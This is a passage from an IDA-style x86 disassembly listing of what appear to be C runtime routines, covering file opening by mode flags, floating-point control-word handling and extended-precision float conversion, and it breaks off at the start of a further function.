; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D55A	proc near		; CODE XREF: sub_418880+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41D580
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41D58B
; ---------------------------------------------------------------------------

loc_41D580:				; CODE XREF: sub_41D55A+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_41D58B:				; CODE XREF: sub_41D55A+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41D5A5
		test	ch, 40h
		jnz	short loc_41D5A1
		cmp	dword_469780, eax
		jz	short loc_41D5A5

loc_41D5A1:				; CODE XREF: sub_41D55A+3Dj
		or	[ebp+var_1], 80h

loc_41D5A5:				; CODE XREF: sub_41D55A+38j
					; sub_41D55A+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41D5DD
		dec	eax
		jz	short loc_41D5D4
		dec	eax
		jz	short loc_41D5CB

loc_41D5B6:				; CODE XREF: sub_41D55A+9Fj
					; sub_41D55A+E8j ...
		mov	dword_4694B4, 16h
		mov	dword_4694B8, ebx
		jmp	loc_41D7F0
; ---------------------------------------------------------------------------

loc_41D5CB:				; CODE XREF: sub_41D55A+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41D5E4
; ---------------------------------------------------------------------------

loc_41D5D4:				; CODE XREF: sub_41D55A+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41D5E4
; ---------------------------------------------------------------------------

loc_41D5DD:				; CODE XREF: sub_41D55A+54j
		mov	[ebp+var_C], 80000000h

loc_41D5E4:				; CODE XREF: sub_41D55A+78j
					; sub_41D55A+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41D612
		cmp	eax, 20h
		jz	short loc_41D609
		cmp	eax, 30h
		jz	short loc_41D600
		cmp	eax, 40h
		jnz	short loc_41D5B6
		mov	[ebp+var_10], esi
		jmp	short loc_41D615
; ---------------------------------------------------------------------------

loc_41D600:				; CODE XREF: sub_41D55A+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41D615
; ---------------------------------------------------------------------------

loc_41D609:				; CODE XREF: sub_41D55A+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41D615
; ---------------------------------------------------------------------------

loc_41D612:				; CODE XREF: sub_41D55A+90j
		mov	[ebp+var_10], ebx

loc_41D615:				; CODE XREF: sub_41D55A+A4j
					; sub_41D55A+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41D65F
		jz	short loc_41D65A
		cmp	ecx, ebx
		jz	short loc_41D65A
		cmp	ecx, edi
		jz	short loc_41D651
		cmp	ecx, 200h
		jz	short loc_41D678
		cmp	ecx, 300h
		jnz	loc_41D5B6
		mov	[ebp+var_8], 2
		jmp	short loc_41D688
; ---------------------------------------------------------------------------

loc_41D651:				; CODE XREF: sub_41D55A+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41D688
; ---------------------------------------------------------------------------

loc_41D65A:				; CODE XREF: sub_41D55A+D0j
					; sub_41D55A+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41D688
; ---------------------------------------------------------------------------

loc_41D65F:				; CODE XREF: sub_41D55A+CEj
		cmp	ecx, 500h
		jz	short loc_41D681
		cmp	ecx, 600h
		jz	short loc_41D678
		cmp	ecx, edx
		jz	short loc_41D681
		jmp	loc_41D5B6
; ---------------------------------------------------------------------------

loc_41D678:				; CODE XREF: sub_41D55A+E0j
					; sub_41D55A+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41D688
; ---------------------------------------------------------------------------

loc_41D681:				; CODE XREF: sub_41D55A+10Bj
					; sub_41D55A+117j
		mov	[ebp+var_8], 1

loc_41D688:				; CODE XREF: sub_41D55A+F5j
					; sub_41D55A+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41D6A7
		mov	ecx, dword_4694BC
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41D6A7
		push	1
		pop	esi

loc_41D6A7:				; CODE XREF: sub_41D55A+138j
					; sub_41D55A+148j
		test	al, 40h
		jz	short loc_41D6B5
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_41D6B5:				; CODE XREF: sub_41D55A+14Fj
		test	ah, 10h
		jz	short loc_41D6BC
		or	esi, edi

loc_41D6BC:				; CODE XREF: sub_41D55A+15Ej
		test	al, 20h
		jz	short loc_41D6C8
		or	esi, 8000000h
		jmp	short loc_41D6D2
; ---------------------------------------------------------------------------

loc_41D6C8:				; CODE XREF: sub_41D55A+164j
		test	al, 10h
		jz	short loc_41D6D2
		or	esi, 10000000h

loc_41D6D2:				; CODE XREF: sub_41D55A+16Cj
					; sub_41D55A+170j
		call	sub_41D340
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41D6F3
		and	dword_4694B8, 0
		mov	dword_4694B4, 18h
		jmp	short loc_41D731
; ---------------------------------------------------------------------------

loc_41D6F3:				; CODE XREF: sub_41D55A+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_421078
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41D724
		push	esi
		call	dword_421030
		test	eax, eax
		jnz	short loc_41D738
		push	esi
		call	dword_42106C

loc_41D724:				; CODE XREF: sub_41D55A+1B6j
		call	dword_421088
		push	eax
		call	sub_41C5D7
		pop	ecx

loc_41D731:				; CODE XREF: sub_41D55A+197j
		mov	eax, edi
		jmp	loc_41D80E
; ---------------------------------------------------------------------------

loc_41D738:				; CODE XREF: sub_41D55A+1C1j
		cmp	eax, 2
		jnz	short loc_41D743
		or	[ebp+var_1], 40h
		jmp	short loc_41D74C
; ---------------------------------------------------------------------------

loc_41D743:				; CODE XREF: sub_41D55A+1E1j
		cmp	eax, 3
		jnz	short loc_41D74C
		or	[ebp+var_1], 8

loc_41D74C:				; CODE XREF: sub_41D55A+1E7j
					; sub_41D55A+1ECj
		push	esi
		push	ebx
		call	sub_41D3D5
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:46A7E0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41D7F5
		test	al, 80h
		jz	short loc_41D7F5
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41D7F5
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41D7AA
		cmp	dword_4694B8, 83h
		jz	short loc_41D7F5
		jmp	short loc_41D7E9
; ---------------------------------------------------------------------------

loc_41D7AA:				; CODE XREF: sub_41D55A+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41B989
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D7D7
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41D7D7
		push	[ebp+var_10]
		push	ebx
		call	sub_41E84C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D7E9

loc_41D7D7:				; CODE XREF: sub_41D55A+265j
					; sub_41D55A+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D7F5

loc_41D7E9:				; CODE XREF: sub_41D55A+24Ej
					; sub_41D55A+27Bj
		push	ebx
		call	sub_4185CB
		pop	ecx

loc_41D7F0:				; CODE XREF: sub_41D55A+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D80E
; ---------------------------------------------------------------------------

loc_41D7F5:				; CODE XREF: sub_41D55A+221j
					; sub_41D55A+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41D80C
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41D80C
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_41D80C:				; CODE XREF: sub_41D55A+29Fj
					; sub_41D55A+2A5j
		mov	eax, ebx

loc_41D80E:				; CODE XREF: sub_41D55A+1D9j
					; sub_41D55A+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D55A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D813	proc near		; CODE XREF: sub_419BB3+52p
		xor	eax, eax
		retn
sub_41D813	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D816	proc near		; CODE XREF: sub_41D84B+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41D861
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41D8F3
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41D816	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D84B	proc near		; CODE XREF: sub_419E9F+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41D816
		pop	ecx
		pop	ecx
		retn
sub_41D84B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D861	proc near		; CODE XREF: sub_41D816+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41D872
		push	10h
		pop	eax

loc_41D872:				; CODE XREF: sub_41D861+Cj
		test	bl, 4
		jz	short loc_41D879
		or	al, 8

loc_41D879:				; CODE XREF: sub_41D861+14j
		test	bl, 8
		jz	short loc_41D880
		or	al, 4

loc_41D880:				; CODE XREF: sub_41D861+1Bj
		test	bl, 10h
		jz	short loc_41D887
		or	al, 2

loc_41D887:				; CODE XREF: sub_41D861+22j
		test	bl, 20h
		jz	short loc_41D88E
		or	al, 1

loc_41D88E:				; CODE XREF: sub_41D861+29j
		test	bl, 2
		jz	short loc_41D898
		or	eax, 80000h

loc_41D898:				; CODE XREF: sub_41D861+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41D8D0
		cmp	edx, 400h
		jz	short loc_41D8CD
		cmp	edx, 800h
		jz	short loc_41D8C9
		cmp	edx, esi
		jnz	short loc_41D8D0
		or	eax, edi
		jmp	short loc_41D8D0
; ---------------------------------------------------------------------------

loc_41D8C9:				; CODE XREF: sub_41D861+5Ej
		or	eax, ebp
		jmp	short loc_41D8D0
; ---------------------------------------------------------------------------

loc_41D8CD:				; CODE XREF: sub_41D861+56j
		or	ah, 1

loc_41D8D0:				; CODE XREF: sub_41D861+4Ej
					; sub_41D861+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41D8E0
		cmp	ecx, ebp
		jnz	short loc_41D8E5
		or	eax, 10000h
		jmp	short loc_41D8E5
; ---------------------------------------------------------------------------

loc_41D8E0:				; CODE XREF: sub_41D861+72j
		or	eax, 20000h

loc_41D8E5:				; CODE XREF: sub_41D861+76j
					; sub_41D861+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41D8F2
		or	eax, 40000h

locret_41D8F2:				; CODE XREF: sub_41D861+8Aj
		retn
sub_41D861	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D8F3	proc near		; CODE XREF: sub_41D816+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41D903
		push	1
		pop	eax

loc_41D903:				; CODE XREF: sub_41D8F3+Bj
		test	bl, 8
		jz	short loc_41D90A
		or	al, 4

loc_41D90A:				; CODE XREF: sub_41D8F3+13j
		test	bl, 4
		jz	short loc_41D911
		or	al, 8

loc_41D911:				; CODE XREF: sub_41D8F3+1Aj
		test	bl, 2
		jz	short loc_41D918
		or	al, 10h

loc_41D918:				; CODE XREF: sub_41D8F3+21j
		test	bl, 1
		jz	short loc_41D91F
		or	al, 20h

loc_41D91F:				; CODE XREF: sub_41D8F3+28j
		test	ebx, 80000h
		jz	short loc_41D929
		or	al, 2

loc_41D929:				; CODE XREF: sub_41D8F3+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41D956
		cmp	ecx, 100h
		jz	short loc_41D953
		cmp	ecx, esi
		jz	short loc_41D94E
		cmp	ecx, edx
		jnz	short loc_41D956
		or	ah, 0Ch
		jmp	short loc_41D956
; ---------------------------------------------------------------------------

loc_41D94E:				; CODE XREF: sub_41D8F3+50j
		or	ah, 8
		jmp	short loc_41D956
; ---------------------------------------------------------------------------

loc_41D953:				; CODE XREF: sub_41D8F3+4Cj
		or	ah, 4

loc_41D956:				; CODE XREF: sub_41D8F3+44j
					; sub_41D8F3+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41D96C
		cmp	ecx, 10000h
		jnz	short loc_41D96E
		or	eax, esi
		jmp	short loc_41D96E
; ---------------------------------------------------------------------------

loc_41D96C:				; CODE XREF: sub_41D8F3+6Bj
		or	eax, edx

loc_41D96E:				; CODE XREF: sub_41D8F3+73j
					; sub_41D8F3+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41D97B
		or	ah, 10h

locret_41D97B:				; CODE XREF: sub_41D8F3+83j
		retn
sub_41D8F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D97C	proc near		; CODE XREF: sub_41DA1B+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41D9C1
		inc	esi
		cmp	esi, 3
		jge	short loc_41D9BC
		lea	eax, [eax+esi*4]

loc_41D9AE:				; CODE XREF: sub_41D97C+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41D9C1
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41D9AE

loc_41D9BC:				; CODE XREF: sub_41D97C+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D9C1:				; CODE XREF: sub_41D97C+27j
					; sub_41D97C+35j
		xor	eax, eax
		pop	esi
		retn
sub_41D97C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9C5	proc near		; CODE XREF: sub_41DA1B+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41E992
		add	esp, 0Ch
		dec	esi
		js	short loc_41DA17
		lea	edi, [ebx+esi*4]

loc_41D9FE:				; CODE XREF: sub_41D9C5+50j
		test	eax, eax
		jz	short loc_41DA17
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41E992
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41D9FE

loc_41DA17:				; CODE XREF: sub_41D9C5+34j
					; sub_41D9C5+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D9C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA1B	proc near		; CODE XREF: sub_41DB76+81p
					; sub_41DB76+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41DA7F
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41D97C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41DA7C
		push	edi
		push	[ebp+arg_0]
		call	sub_41D9C5
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_41DA7C:				; CODE XREF: sub_41DA1B+51j
		mov	eax, [ebp+arg_4]

loc_41DA7F:				; CODE XREF: sub_41DA1B+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41DA9F
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_41DA9F:				; CODE XREF: sub_41DA1B+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DA1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAA7	proc near		; CODE XREF: sub_41DB76+75p
					; sub_41DB76+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_41DAB5:				; CODE XREF: sub_41DAA7+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41DAB5
		pop	esi
		retn
sub_41DAA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAC2	proc near		; CODE XREF: sub_41DB76+5Fp
					; sub_41DB76+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41DAC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DACE	proc near		; CODE XREF: sub_41DB76+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_41DAD4:				; CODE XREF: sub_41DACE+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41DAE6
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41DAD4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41DAE6:				; CODE XREF: sub_41DACE+9j
		xor	eax, eax
		retn
sub_41DACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DAE9	proc near		; CODE XREF: sub_41DB76+C0p
					; sub_41DB76+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_41DB1F:				; CODE XREF: sub_41DAE9+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41DB1F
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_41DB51:				; CODE XREF: sub_41DAE9+86j
		cmp	ebx, edi
		jl	short loc_41DB64
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41DB6B
; ---------------------------------------------------------------------------

loc_41DB64:				; CODE XREF: sub_41DAE9+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_41DB6B:				; CODE XREF: sub_41DAE9+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41DB51
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DAE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB76	proc near		; CODE XREF: sub_41DCE2+Dp
					; sub_41DCF8+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41DBE3
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41DACE
		test	eax, eax
		pop	ecx
		jnz	loc_41DCA2
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC2
		pop	ecx

loc_41DBDB:				; CODE XREF: sub_41DB76+E4j
		push	2

loc_41DBDD:				; CODE XREF: sub_41DB76+110j
		pop	eax
		jmp	loc_41DCA4
; ---------------------------------------------------------------------------

loc_41DBE3:				; CODE XREF: sub_41DB76+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41DAA7
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DA1B
		add	esp, 10h
		test	eax, eax
		jz	short loc_41DC04
		inc	ebx

loc_41DC04:				; CODE XREF: sub_41DB76+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41DC1C
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC2
		pop	ecx
		jmp	short loc_41DC58
; ---------------------------------------------------------------------------

loc_41DC1C:				; CODE XREF: sub_41DB76+98j
		cmp	ebx, eax
		jg	short loc_41DC5F
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAA7
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41DAE9
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DA1B
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAE9
		add	esp, 20h

loc_41DC58:				; CODE XREF: sub_41DB76+A4j
		xor	esi, esi
		jmp	loc_41DBDB
; ---------------------------------------------------------------------------

loc_41DC5F:				; CODE XREF: sub_41DB76+A8j
		cmp	ebx, [edi]
		jl	short loc_41DC8B
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC2
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAE9
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41DBDD
; ---------------------------------------------------------------------------

loc_41DC8B:				; CODE XREF: sub_41DB76+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41DAE9
		pop	ecx
		pop	ecx

loc_41DCA2:				; CODE XREF: sub_41DB76+55j
		xor	eax, eax

loc_41DCA4:				; CODE XREF: sub_41DB76+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41DCD3
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41DCDD
; ---------------------------------------------------------------------------

loc_41DCD3:				; CODE XREF: sub_41DB76+14Ej
		cmp	edi, 20h
		jnz	short loc_41DCDD
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_41DCDD:				; CODE XREF: sub_41DB76+15Bj
					; sub_41DB76+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DB76	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCE2	proc near		; CODE XREF: sub_41DD0E+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_438710
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DB76
		add	esp, 0Ch
		retn
sub_41DCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCF8	proc near		; CODE XREF: sub_41DD3B+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_438728
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DB76
		add	esp, 0Ch
		retn
sub_41DCF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD0E	proc near		; CODE XREF: sub_419FD8+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EB33
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DCE2
		add	esp, 24h
		leave
		retn
sub_41DD0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD3B	proc near		; CODE XREF: sub_419FD8+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EB33
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DCF8
		add	esp, 24h
		leave
		retn
sub_41DD3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD68	proc near		; CODE XREF: sub_41A016+65p
					; sub_41A11A+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
